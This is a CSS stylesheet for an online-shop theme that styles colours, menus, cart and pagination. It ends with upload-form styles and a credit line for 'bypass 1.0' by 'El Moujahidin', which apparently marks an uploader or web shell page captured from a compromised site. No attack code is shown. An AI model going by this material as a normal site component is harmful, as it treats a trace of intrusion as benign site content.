	list-style:none;

	padding:0;

	margin:0

}

.ac_results li {

	margin:0;

	padding:2px 5px;

	cursor:default;

	display:block;

	font:menu;

	font-size:12px;

	line-height:16px;

	overflow:hidden

}

.ac_odd {

	background-color:#eee

}

.ac_over {

	background-color:#0A246A;

	color:white

}

#gear-right, #gear-right2 {

	background:#333333;

	display:block;

	height:50px;

	left:0;

	position:fixed;

	top:90px;

	width:50px;

	z-index:10000;

	cursor:pointer;

	color:#ccc

}

#gear-right a, #gear-right2 a {

	color:#ccc

}

#gear-right:hover, #gear-right2:hover {

	color:#fff

}

#gear-right i, #gear-right2 i {

	display:block;

	padding-top:10px;

	text-align:center

}

#tool_customization {

	position:fixed;

	left:-215px;

	top:90px;

	z-index:10000;

	height:auto;

	width:215px;

	background:#333333

}

#tool_customization h3 {

	padding:15px;

	margin:0;

	color:#ffffff;

	font-size:16px;

	text-transform:uppercase

}

#tool_customization p {

	padding:15px;

	color:#ffffff;

	font-size:13px

}

#tool_customization p span {

	color:#8d8c8c;

	font-size:11px

}

#tool_customization .list-tools {

	background:#484848;

	border:1px solid #595959;

	border-left:none;

	border-right:none

}

#tool_customization .list-tools p {

	font-size:1em;

	text-transform:uppercase;

	margin:0;

	padding:8px 15px

}

#tool_customization .list-tools i {

	font-size:1.4em;

	position:relative;

	top:0;

	cursor:pointer

}

#tool_customization #color-box {

	margin:0;

	padding:15px 0 0 15px

}

#tool_customization #color-box li {

	display:inline-block;

	border:2px solid black;

	height:30px;

	width:30px;

	margin:0 5px 15px 0

}

#tool_customization #color-box li:hover, #tool_customization #color-box li.active {

	border:2px solid white

}

#tool_customization #color-box .color-theme {

	display:block;

	width:26px;

	height:26px

}

#tool_customization #color-box li {

	cursor:pointer

}

#tool_customization #color-box .theme1 .color-theme {

	background:#ea3a3c

}

#tool_customization #color-box .theme2 .color-theme {

	background:#5f87d1

}

#tool_customization #color-box .theme3 .color-theme {

	background:#20bc5a

}

#tool_customization #color-box .theme4 .color-theme {

	background:#f8ab16

}

#tool_customization #color-box .theme5 .color-theme {

	background:#009688

}

#tool_customization #color-box .theme6 .color-theme {

	background:#ff9100

}

#tool_customization #color-box .theme7 .color-theme {

	background:#ec87c0

}

#tool_customization #color-box .theme8 .color-theme {

	background:#fbc02d

}

#tool_customization #font-box, #tool_customization .list-box {

	padding:15px

}

#tool_customization #layout-box {

	padding:15px

}

#tool_customization #font-box p {

	padding:0;

	margin:15px 0 5px;

	color:#9c9b9b

}

#tool_customization #font-box .font-list {

	height:30px;

	width:180px;

	color:#333

}

#tool_customization .btn-tools {

	background:#484848;

	border:1px solid #595959;

	border-left:none;

	border-right:none;

	height:56px;

	padding:10px 5px

}

#tool_customization .btn {

	width:47%;

	padding:7px 5px;

	float:left;

	display:block;

	overflow:hidden;

	border-radius:0

}

#tool_customization .btn-1 {

	background:#727171;

	color:white;

	margin:0 5px

}

#tool_customization .sp-quit {

	background:#727171;

	color:white

}

#tool_customization .btn-1:hover {

	background-color:#959394

}

#tool_customization .btn-2:hover {

	background-color:#64D3FF

}

#tool_customization #block-advertisement {

	padding:20px

}

#pattern-box {

	display:block;

	overflow:hidden;

	margin:10px -10px 10px 0

}

#pattern-box li {

	height:30px;

	width:30px;

	display:inline-block;

	border:2px solid black;

	margin:0 5px 5px 0;

	cursor:pointer;

	background-size:auto 100%

}

#pattern-box li.active, #pattern-box li:hover {

	border-color:white

}

#tool_customization.layout_2 .header_theme {

	display:none

}

#tool_customization.layout_2 .choose_header {

	display:none

}

#tool_customization.layout_12 .header_theme {

	display:none

}

#tool_customization.layout_12 .choose_header {

	display:none

}

a:hover, a:focus {

	color:#f8ab16

}

.button:hover, .btn-default:hover, input[type="submit"]:hover {

	background-color:#f8ab16;

	color:white

}

.button:focus, .btn-default:focus, input[type="submit"]:hover {

	background-color:#f8ab16;

	color:#000

}

h3.mod-title .fa {

	background:#f8ab16

}

button, .button {

	background-color:#666

}

button:hover, .button:hover {

	color:#fff;

	background-color:#f8ab16

}

button:focus, .button:focus {

	color:#fff;

	background-color:#f8ab16

}

div.moduletable h3:after {

	background-color:#f8ab16

}

.btn-gn:hover {

	background-color:#f8ab16 !important

}

.btn-gn:hover a {

	background-color:#f8ab16 !important

}

.footer-container h3:after, .footer-container h3.mod-title:after {

	background:#f8ab16

}

#gear-right a:hover, #gear-right2 a:hover {

	color:#f8ab16

}

.color-theme {

	color:#f8ab16

}

.copy-right a {

	color:#f8ab16

}

.header_search .header_user_info ul.links li.account a:hover {

	background:#f8ab16;

	border-color:#f8ab16

}

.block .title_block {

	border-color:#f8ab16

}

.block .title_block strong:before {

	border-bottom-color:#f8ab16

}

.welcome-msg a:hover {

	color:#f8ab16

}

.bonus_menu .b_menu:hover h2 a {

	color:#f8ab16

}

.bonus_menu .b_menu.shipping:before {

	background:url(../images/icon_shipping.png) no-repeat 0 0

}

.bonus_menu .b_menu.shipping:hover:before {

	background-position:0 -41px

}

.bonus_menu .b_menu.pay:before {

	background:url(../images/violet/icon_pay.png) no-repeat 0 0

}

.bonus_menu .b_menu.pay:hover:before {

	background-position:0 -41px

}

.bonus_menu .b_menu.gift:before {

	background:url(../images/violet/icon_gift.png) no-repeat 0 0

}

.bonus_menu .b_menu.gift:hover:before {

	background-position:0 -41px

}

.sf-menu li li li a:before {

	color:#f8ab16;

	background:#f8ab16

}

.sf-menu .submenu-container {

	border-top:solid 3px #f8ab16

}

.sf-menu > li > ul > li > a:hover {

	color:#f8ab16

}

#homepage-slider .bx-wrapper .bx-controls-direction a:hover {

	background-color:#f8ab16 !important

}

.sp-vertical-menu .cat-title {

	background:#f8ab16

}

.sp-vertical-menu .cat-title:before {

	background-color:#d58e06

}

.sp-vertical-menu .vf-menu {

	border-top:none

}

.sp-vertical-menu .vf-menu li > a:after {

	color:#f8ab16

}

.sp-vertical-menu .vf-menu li:before {

	background:#f8ab16

}

.sp-vertical-menu .vf-menu li:hover > a, .sp-vertical-menu .vf-menu li a:after {

	color:#f8ab16

}

.shopping_cart {

	background-color:#f8ab16

}

#layer_cart .cross:hover {

	color:#f8ab16

}

#header .cart_block {

	border-top:solid 3px #f8ab16 !important

}

#header .cart_block:after {

	border-color:transparent transparent #f8ab16 transparent

}

#header .cart_block .cart-buttons a:hover {

	background-color:#f8ab16

}

#header .cart_block dt:hover .cart-images {

	border-color:#f8ab16

}

#header .cart_block dt:hover .cart-info .product-name a {

	color:#f8ab16

}

.cart_block .cart_block_list .remove_link a:hover:before, .cart_block .cart_block_list .ajax_cart_block_remove_link:hover:before {

	color:#f8ab16

}

.category-name {

	color:#f8ab16

}

.cart_block .cart-buttons .buttons a#button_goto_cart {

	background-color:#f8ab16

}

.cart_block .cart-buttons .price-total span.price {

	color:#f8ab16

}

#layer_cart .cross:hover {

	color:#f8ab16

}

.shopping_cart .ajax_cart_quantity {

	background-color:#d58e06

}

.blockcart:after {

	border-color:transparent #f8ab16 transparent transparent

}

#currencies-block-top ul li a:hover {

	color:#f8ab16

}

#languages-block-top ul li a:hover {

	color:#f8ab16

}

#search_block_top #searchbox .button-search {

	color:#f8ab16

}

#search_block_top #searchbox .button-search:hover {

	color:#a36d05

}

#search_block_top #searchbox #search_query_top:focus {

	border-color:#f8ab16

}

div.module-title h3 span:before, div.module-title h3 strong:before {

	border-bottom:#f8ab16

}

.home-content .item-link {

	background:#f8ab16

}

div.sp-cat-tab .spct-tab-inner {

	background-color:#f8ab16

}

div.sp-cat-tab .spct-tab-inner:before {

	background-color:#f8ab16

}

div.sp-cat-tab .spct-tab-inner:hover:before {

	background-color:#f8ab16

}

div.sp-cat-tab .spct-tab-inner.sel:before {

	background-color:#f8ab16

}

div.sp-cat-tab .spct-tab-inner:first-child {

	border-left:solid 1px #f8ab16 !important

}

div.sp-cat-tab .spct-content .spct-product-item .item-price .price.product-price {

	color:#f8ab16

}

div.module-title {

	border-color:#f8ab16 !important

}

div.module-title h3 span, div.module-title h3 strong {

	background-color:#f8ab16

}

div.module-title h3 span:before, div.module-title h3 strong:before {

	border-bottom:37px solid #f8ab16

}

div.sp-deal .slider .vpo-wrap .vp .item .item-wrap:hover .item-time .item-timer .time-item {

	background-color:#f8ab16

}

div.sp-deal .page-button.bottom .control-button a:hover {

	background-color:#f8ab16

}

.sp-category-slider .page-button .control-button li:hover {

	background-color:#f8ab16

}

.sp-extraslider .owl-controls .owl-prev:hover, .sp-extraslider .owl-controls .owl-next:hover, .block.lastestnews .bx-wrapper .bx-controls-direction a:hover {

	color:#f8ab16

}

#up-sell .bx-controls a:hover {

	background-color:#f8ab16;

	border-color:#f8ab16

}

#up-sell .bx-controls a.disabled:hover {

	background-color:#fbcf79;

	border-color:#fbcf79

}

div.clients_say .block_content .info .author {

	color:#f8ab16

}

.accordion-section-title:hover:before {

	background-color:#f8ab16

}

.block-services .list-services li a:hover {

	border-color:#f8ab16

}

div.bonus-menu > div a:hover {

	color:#f8ab16

}

.footer-container .list-link li a:hover {

	color:#f8ab16

}

.footer-container .list-link li a:hover:before {

	color:#f8ab16

}

div.footer-container #footer-bottom a:hover {

	color:#f8ab16

}

.contact-infos ul.list-contact .label {

	color:#f8ab16

}

.newsletter_home #newsletter-input:focus {

	border-color:#f8ab16

}

.newsletter_home .button {

	background:#f8ab16

}

.newsletter_home .button:hover {

	background:#d58e06

}

ul.social-block li a:hover .fa {

	color:#f8ab16

}

.breadcrumb span.navigation_page {

	color:#f8ab16

}

.breadcrumb .navigation-pipe {

	color:#f8ab16

}

.breadcrumb .navigation_page .navigation-pipe:before {

	color:#f8ab16

}

div.menu-demo:hover > a {

	color:#f8ab16

}

div.topmenu_demos:hover:after {

	color:#f8ab16

}

div.demo-menu .content-home li a:hover {

	color:#f8ab16

}

.tags_block .block_content a:hover {

	background:#f8ab16;

	border-color:#f8ab16

}

#categories_block_left ul.tree li:hover > a, #categories_block_left ul.tree li:hover > .grower {

	color:#f8ab16

}

#categories_block_left li li a.selected {

	color:#f8ab16

}

ul.product_list .product-container:hover h5 > a {

	color:#f8ab16

}

ul.product_list .product-container:hover .button-container .cart_button:hover {

	background-color:#f8ab16 !important

}

ul.product_list .product-image-container .quick-view-mobile:hover {

	background-color:#f8ab16

}

.price-percent-reduction {

	background:#f8ab16

}

ul.product_list .button-container > div a:hover {

	background-color:#f8ab16;

	border-color:#f8ab16

}

ul.product_list .button-container .cart_button:hover {

	background-color:#f8ab16;

	border-color:#f8ab16

}

ul.product_list.list > li .product-container .button-container > div a.quick-view-mobile:hover {

	border-color:#f8ab16

}

.content_sortPagiBar .display li#list, .content_sortPagiBar .display_m li#list {

	background-image:url(../images/listing-btn.png)

}

.content_sortPagiBar .display li#grid, .content_sortPagiBar .display_m li#grid {

	background-image:url(../images/grid-btn.png)

}

div.sp-slider .slider .vpo-wrap .vp .item .button-container > div a:hover {

	background-color:#f8ab16;

	border-color:#f8ab16

}

div.sp-slider .slider .vpo-wrap .vp .item .button-container .cart_button:hover {

	background-color:#f8ab16;

	border-color:#f8ab16

}

div.sp-slider .slider .vpo-wrap .vp .item .item-wrap:hover .item-info .info .item-title a {

	color:#f8ab16

}

div.sp-slider .slider .vpo-wrap .vp .item .item-wrap:hover .button-container .cart_button {

	background-color:#f8ab16

}

div.sp-slider .page-button.top .control-button a:hover, div.sp-slider .page-button.bottom .control-button a:hover, div.sp-slider .page-button.middle .control-button a:hover {

	background:#f8ab16;

	border-color:#f8ab16

}

div.sp-slider .slider .vpo-wrap .vp .item .item-image-container .quick-view-mobile:hover {

	background-color:#f8ab16

}

div.best-seller div.sp-slider .page-button.top .control-button a:hover .fa, div.best-seller div.sp-slider .page-button.bottom .control-button a:hover .fa, div.best-seller div.sp-slider .page-button.middle .control-button a:hover .fa {

	color:#f8ab16

}

div.sp-manu-slider .page-button.top .control-button a:hover, div.sp-manu-slider .page-button.bottom .control-button a:hover, div.sp-manu-slider .page-button.middle .control-button a:hover {

	background:#f8ab16

}

.about-us .owl-dots .owl-dot.active span, .about-us .owl-dots .owl-dot span:hover {

	background-color:#f8ab16

}

.about-us .page-heading h1:after {

	background:#f8ab16

}

.about-us .about-content .customersay .item .author strong {

	color:#f8ab16

}

.about-us .about-content .whychooseus ul li:before, .about-us .about-content .ourmember.page-heading .info-member .name a {

	color:#f8ab16

}

#cms .cms-social a:hover .fa {

	background-color:#f8ab16;

	color:white

}

div.lastestnews .bx-controls.bx-has-pager .bx-pager-item a.bx-pager-link.active {

	background:#f8ab16

}

#smartblogcat .sdsarticleCat .blog-info .comment a:hover {

	color:#f8ab16

}

#submitComment:hover {

	background:#f8ab16

}

div.banner-left {

	background:#f8ab16

}

div.moreinfo_block ul.nav-tabs > li:before {

	background:#f8ab16

}

span.view_scroll_spacer > a#view_scroll_right:hover {

	background:#f8ab16;

	border-color:#f8ab16

}

span.view_scroll_spacer > a#view_scroll_left:hover {

	background:#f8ab16;

	border-color:#f8ab16

}

#thumbs_list1 li a:hover, #thumbs_list1 li a.shown, #thumbs_list1 li a.zoomThumbActive {

	border-color:#f8ab16

}

span.view_scroll_spacer > a:hover .fa {

	color:#f8ab16

}

#product_comments_block_extra .comments_advices .open-comment-form:hover, #product_comments_block_extra .comments_advices .reviews:hover {

	color:#f8ab16

}

.box-cart-bottom .button {

	background:#f8ab16

}

.box-cart-bottom .button:after {

	background:url(../images/icon_addcart-hover.png) no-repeat center center #f8ab16

}

.box-cart-bottom .button:hover {

	background:#E26063

}

.box-cart-bottom .button:hover:after {

	background-color:#E26063

}

.box-info-product #wishlist_button:hover {

	background-color:#f8ab16

}

div.moreinfo_block ul.nav-tabs > li a:after {

	background:#f8ab16

}

div.moreinfo_block .tab-content .product-box:hover .product-name a {

	color:#f8ab16

}

div.moreinfo_block .tab-content .product-box:hover .button {

	background:#f8ab16

}

div.moreinfo_block ul.nav-tabs > li.first.active, div.moreinfo_block ul.nav-tabs > li.first:hover, div.moreinfo_block ul.nav-tabs > li.first.active a, div.moreinfo_block ul.nav-tabs > li.active a, div.moreinfo_block ul.nav-tabs > li.first:hover a, div.moreinfo_block ul.nav-tabs > li.active:hover, div.moreinfo_block ul.nav-tabs > li a:hover {

	background:#f8ab16;

	border-color:#f8ab16

}

div.moreinfo_block ul.nav-tabs > li:last-child {

	border-right:solid 1px #f8ab16

}

#quantity_wanted_p .btn:hover {

	background-color:#f8ab16 !important

}

#availability_statut #availability_value {

	color:#f8ab16

}

#availability_statut #availability_value:before {

	color:#f8ab16;

	font-size:14px

}

#quantity_wanted_p .btn:hover {

	border-color:#f8ab16

}

#quantity_wanted_p .btn.button-minus:hover {

	background:url(../images/icon_minus-hover.png) no-repeat center center #f8ab16

}

#quantity_wanted_p .btn.button-plus:hover {

	background:url(../images/icon_plus-hover.png) no-repeat center center #f8ab16

}

#order_step li.step_current {

	background:#f8ab16

}

#order_step li a:hover {

	background:#f8ab16

}

.payment_module a:hover, .payment_module a:focus, .payment_module a:active {

	border:1px solid #f8ab16

}

#crossselling_list .bx-wrapper, .accessories-block .block_content .bx-wrapper, #productscategory_list .bx-wrapper {

	max-width:100% !important

}

#productscategory_list ul.bxslider li.product-box:hover .product-name a {

	color:#f8ab16

}

#productscategory_list ul.bxslider li.product-box:hover .product-image {

	border-color:#f8ab16

}

.products-block li .product-content h5 a:hover {

	color:#f8ab16

}

.products-block li:hover .product-content h5 a {

	color:#f8ab16

}

.products-block li:hover .products-block-image {

	border-color:#f8ab16

}

#product_comparison .ajax_block_product h5 a:hover {

	color:#f8ab16

}

.pagination > li > a:hover, .pagination > li > span:hover, .pagination > li > a.page-active, .pagination > li > span.page-active, .pagination > li > a:focus, .pagination > li > span:focus {

	color:#fff;

	border-color:#f8ab16;

	background:#f8ab16

}

.top-pagination-content ul.pagination li > a:hover span, .bottom-pagination-content ul.pagination li > a:hover span {

	background:#f8ab16

}

.pagination > li > a:hover b, .pagination > li > a:hover .fa, .pagination > li > span:hover b, .pagination > li > span:hover .fa, .pagination > li > a:focus b, .pagination > li > a:focus .fa, .pagination > li > span:focus b, .pagination > li > span:focus .fa {

	color:#f8ab16

}

.top-pagination-content ul.pagination li.active > span span, .bottom-pagination-content ul.pagination li.active > span span {

	background:#f8ab16;

	color:#fff

}

.top-pagination-content ul.pagination li.active > span, .bottom-pagination-content ul.pagination li.active > span {

	border-color:#f8ab16 !important

}

.top-pagination-content ul.pagination li > a:hover, .top-pagination-content ul.pagination li > span:hover, .bottom-pagination-content ul.pagination li > a:hover, .bottom-pagination-content ul.pagination li > span:hover {

	border-color:#f8ab16 !important

}

.backtotop:hover {

	background-color:#f8ab16

}

.lang_ar .welcome-msg .label-msg:after {

	border-color:transparent #f8ab16 transparent transparent

}

.lang_ar div.sp-cat-tab .spct-tab-inner:first-child {

	border-left:none !important;

	border-right:solid 1px #f8ab16

}

.lang_ar div.sp-cat-tab .spct-tab-inner:last-child {

	border-right:none !important;

	border-left:solid 1px #f8ab16

}

.lang_ar ul.product_list.grid .product-container .button-container > div a:hover {

	border-color:#f8ab16

}

.lang_ar ul.product_list.grid .product-container .button-container .cart_button:hover {

	border-color:#f8ab16

}

.lang_ar ul.product_list .button-container > div a:hover {

	border-color:#f8ab16

}

.lang_ar ul.product_list .button-container .cart_button:hover {

	border-color:#f8ab16

}

.lang_ar ul.product_list.list > li .product-container .button-container > div a.quick-view-mobile:hover {

	border-color:#f8ab16

}

.lang_ar .blockcart:after {

	border-color:transparent transparent transparent #f8ab16

}

.lang_ar .newsletter_home #newsletter-input:focus {

	border-color:#f8ab16

}

@media (min-width:767px) and (max-width:979px) {

#block_top_menu .sf-menu > li > a:hover {

background:#f8ab16

}

}

@media (max-width:767px) {

div#search_block_top #searchbox .button-search {

background-color:#d58e06 !important

}

.sf-menu > li.sfHover > a, .sf-menu > li > a:hover, .sf-menu > li.sfHoverForce > a {

background:#f8ab16

}

#block_top_menu .sf-menu > li > a:hover {

background:#f8ab16

}

}

body {

	font-family:'Open Sans', sans-serif !important

}

.list-msg .label-msg, .list-msg a {

	font-family:'Myriad Pro' !important;

	font-size:12px

}

.cart_button {

	font-family:'Open Sans', sans-serif !important

}

.newsletter_home .button {

	font-family:'Open Sans', sans-serif !important

}

.box-cart-bottom .button {

	font-family:'Open Sans', sans-serif !important

}

.our_price_display {

	font-family:'Open Sans', sans-serif !important

}

.item-img-info img {height: 130px !important;}



.border {

    border: 1px solid #ddd;

    padding: 10px;

}

.scope-owl .item > img {

    height: 175px;

    width: 100%;

}

.scope-owl .item {

    border: 1px solid #ccc;

    margin-right: 10px;

    text-align: center;

}

.social-top {

    float: left;

    margin-top: 25px;

    width: 100%;

}

.social-top ul {

    float: right;

    list-style-type: none;

    margin: 0;

    padding: 0;

}

.social-top ul li{ float:left; margin-right:5px;}

.social-top ul li img{width:30px; /* height:25px; */}

.border img {

    border: 1px solid #ccc;

    height: 189px;

    width: 100%;

}



.sf-menu .active {

    background: #666666 none repeat scroll 0 0;

    color: #fff;

}







.thumbnail:hover::before {

    height: 100%;

    transition: all 0.4s ease-out 0s;

    width: 100%;

}



.thumbnail:hover::after {

    height: 100%;

    transition: all 0.4s ease-out 0s;

    width: 100%;

}



.thumbnail::after {

    background-color: rgba(255, 255, 255, 0.15);

    bottom: 0;

    content: "";

    height: 0;

    position: absolute;

    right: 0;

    transition: all 0.3s ease-out 0s;

    width: 0;

}



.thumbnail::before {

    background-color: rgba(255, 255, 255, 0.15);

    content: "";

    height: 0;

    left: 0;

    margin: auto;

    position: absolute;

    top: 0;

    transition: all 0.3s ease-out 0s;

    width: 0;

}

.vf-menu.clearfix.menu-content {

    padding: 15px;

}

.sdsarticleHeader {

    margin-bottom: 15px;

}



.sdsarticleCat {

    border: 1px solid #ccc;

    padding: 10px;

}


.item-img-info {
	text-align: center;
	padding-top: 25px;
}
.upld-file {
	margin-bottom: 10px;
}
.upld-sbmt input {
	background: #444;
	border: 0;
	padding: 6px 10px 6px 10px;
	color: #f8ab16;
	font-size: 14px;
	text-transform: uppercase;
	font-weight: 500;
	transition: all 0.3s ease 0s;
}

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net